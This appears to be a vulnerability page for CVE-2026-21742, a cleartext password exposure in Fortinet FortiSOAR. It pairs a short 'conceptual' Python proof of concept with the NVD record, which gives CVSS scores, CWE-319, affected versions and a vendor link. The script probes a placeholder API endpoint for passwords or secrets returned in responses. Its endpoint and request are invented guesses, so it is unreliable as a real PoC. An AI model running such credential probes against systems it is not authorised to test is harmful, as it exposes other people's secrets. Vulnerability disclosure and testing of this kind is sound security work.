CVE-2026-21742

import requests # Conceptual PoC for CVE-2026-21742 # Target: Fortinet FortiSOAR # Description: Demonstrates checking for cleartext password in API responses. target_url = "https://<target_ip>/api/endpoint" # Replace with actual endpoint session = requests.Session() session.auth = ("low_priv_user", "password") # PR:L required try: # Simulate a Radius query or Secure Message Exchange request response = session.post(target_url, json={"action": "radius_query", "params": {}}) if response.status_code == 200: data = response.json() # Check if password is returned in cleartext if "password" in data or "secret" in data: print("[+] Potential Vulnerability Detected!") print(f"Response Data: {data}") else: print("[-] Password not found in response.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-21742", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:35.930", "lastModified": "2026-05-06T16:04:42.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cleartext transmission of sensitive information vulnerability in Fortinet FortiSOAR PaaS 7.6.0 through 7.6.3, FortiSOAR PaaS 7.5.0 through 7.5.2, FortiSOAR PaaS 7.4 all versions, FortiSOAR PaaS 7.3 all versions, FortiSOAR on-premise 7.6.0 through 7.6.2, FortiSOAR on-premise 7.5.0 through 7.5.1, FortiSOAR on-premise 7.4 all versions, FortiSOAR on-premise 7.3 all versions may allow an authenticated attacker to view cleartext password in response for Secure Message Exchange and Radius queries, if configured"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-319"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.3.0", "versionEndExcluding": "7.5.3", "matchCriteriaId": "CD42D7DF-B095-44E1-B7E1-D203678DF740"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortisoar:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.0", "versionEndExcluding": "7.6.4", "matchCriteriaId": "6E11F916-A349-4C7F-8F39-2A3C9F2FB006"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-106", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}